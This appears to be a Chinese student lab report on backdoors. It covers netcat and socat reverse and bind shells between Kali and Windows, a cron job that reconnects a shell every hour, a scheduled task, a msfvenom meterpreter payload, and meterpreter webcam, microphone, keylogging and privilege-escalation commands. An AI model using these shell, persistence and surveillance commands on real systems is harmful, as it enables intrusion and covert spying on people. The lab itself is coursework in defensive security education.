20155333 《網絡對抗》Exp2 後門原理與實踐

20155333 《網絡對抗》Exp2 後門原理與實踐

一、例舉你能想到的一個後門進入到你係統中的可能方式？

• 下載的軟件中捆綁有後門；
• 瀏覽的網頁或其上的小廣告；
• 有些網頁會自動安裝軟件。
  二、例舉你知道的後門如何啓動起來(win及linux)的方式？
• 在Windows下在控制面板的管理工具中能夠設置任務計劃啓動；
• 修改註冊表，自啓動；
• 對後門程序進行假裝，誘騙用戶點擊啓動；
  三、Meterpreter有哪些給你映像深入的功能？
• 獲取目標主機音頻、攝像頭、擊鍵記錄等內容。
  四、如何發現本身有系統有沒有被安裝後門？
• 利用防火牆還有殺毒軟件等
• 檢查防火牆開啓的端口和它對應的進程，若是不是系統默認開啓的端口都有嫌疑，找到對應的進程，對其進行抓包分析；

• 觀察註冊表裏的進程。

  經常使用後門工具實踐

  Windows得到Linux Shell

  一、在Windows下，先使用ipconfig指令查看本機IP：

二、使用ncat.exe程序監聽本機的8888端口：

三、在Kali環境下，使用nc指令的-e選項反向鏈接Windows主機的8888端口：

四、Windows下成功得到了一個Kali的shell，運行ls指令以下：

Linux得到Windows Shell

一、過程與以前的相似，在Kali環境下用ifconfig查看IP：

二、使用nc指令監聽8888端口：

三、在Windows下，使用ncat.exe程序的-e選項項反向鏈接Kali主機的8888端口

四、Kali下能夠看到Windows的命令提示，能夠輸入Windows命令：

使用netcat獲取主機操做Shell，cron啓動

一、先在Windows系統下，監聽8888端口

二、在Kali環境下，使用man crontab指令查看crontab命令的幫助文檔，從文檔中能夠知道crontab指令能夠用於設置週期性被執行的指令。該命令從標準輸入設備讀取指令，並將其存放於crontab文件中，以供以後讀取和執行。
kali系統內每分鐘自動運行指令，反彈至pc端的8888端口

三、用crontab -e指令編輯一條定時任務，選擇編輯器時選擇基本的vim編輯器就行：

四、在最後一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh，意思是在每一個小時的第17分鐘反向鏈接Windows主機的8888端口，就會啓動cron。設置成17的緣由是我當時的時間是23點14，爲了能立馬看到效果，因此我將時間設置在了3分鐘之後：

輸入完成命令後，windows的cmd這裏在時間到的時候輸入dir命令沒有任何反應。
後來發如今最開始選擇編輯器那裏選擇錯了編輯器，/bin/nano沒有用vim，因此在輸入的時候不會使用。後面再搜索如何更改crontab的編輯器：
輸入sudo select-editor

再用crontab -e指令：在最後一行添加17 * * * * /bin/netcat 192.168.199.125 8888 -e /bin/sh
當時間到了23點17時，此時已經得到了Kali的shell，能夠輸入指令（若是在這以前輸入指令，屏幕上不會有顯示，可是等到了17分時會立馬顯示出來）：

使用socat獲取主機操做Shell, 任務計劃啓動

基礎知識

一、socat是ncat的加強版，它使用的格式是socat [options] <address> <address>，其中兩個address是必選項，而options 是可選項。
二、socat的基本功能就是創建兩個雙向的字節流，數據就在其間傳輸，參數address就是表明了其中的一個方向。所謂流，表明了數據的流向，而數據則能夠有許多不一樣的類型，命令中也就相應須要許多選項對各類不一樣的類型數據流進行限定與說明。

實踐過程

一、在Windows系統下，打開控制面板->管理工具->任務計劃程序，建立任務，填寫任務名稱後，新建一個觸發器：

二、在操做->程序或腳本中選擇你的socat.exe文件的路徑，在添加參數一欄填寫tcp-listen:8888 exec:cmd.exe,pty,stderr，這個命令的做用是把cmd.exe綁定到端口8888，同時把cmd.exe的stderr重定向到stdout上：

三、建立完成以後，按Windows+L快捷鍵鎖定計算機，再次打開時，能夠發現以前建立的任務已經開始運行：

四、此時，在Kali環境下輸入指令socat - tcp:192.168.43.56:8888，這裏的第一個參數-表明標準的輸入輸出，第二個流鏈接到Windows主機的8888端口，此時能夠發現已經成功得到了一個cmd shell：

使用MSF meterpreter生成可執行文件，利用ncat或socat傳送到主機並運行獲取主機Shell

一、輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.146 LPORT=8888 -f exe > 20155333_backdoor.exe生成後門程序：

二、經過nc指令將生成的後門程序傳送到Windows主機上：

三、在Kali上使用msfconsole指令進入msf控制檯，使用監聽模塊，設置payload，設置反彈回連的IP和端口：

四、設置完成後，執行監聽：

五、打開Windows上的後門程序：

六、此時Kali上已經得到了Windows主機的鏈接，而且獲得了遠程控制的shell：

使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容，並嘗試提權

一、使用record_mic指令能夠截獲一段音頻：

二、使用webcam_snap指令可使用攝像頭進行拍照：

三、使用webcam stream指令可使用攝像頭進行錄像：
四、使用screenshot指令能夠進行截屏：

五、使用keyscan_start指令開始記錄下擊鍵的過程，使用keyscan_dump指令讀取擊鍵的記錄：

六、先使用getuid指令查看當前用戶，使用getsystem指令進行提權.

實驗總結與體會

此次實驗確實像老師所說的同樣頗有趣，雖然在MSF這部分重作了不少次，中途電腦還藍屏了，但看到成果仍是很開心的（大概是由於終於作完了）。還得申明一下，中途換了IP是由於換了網。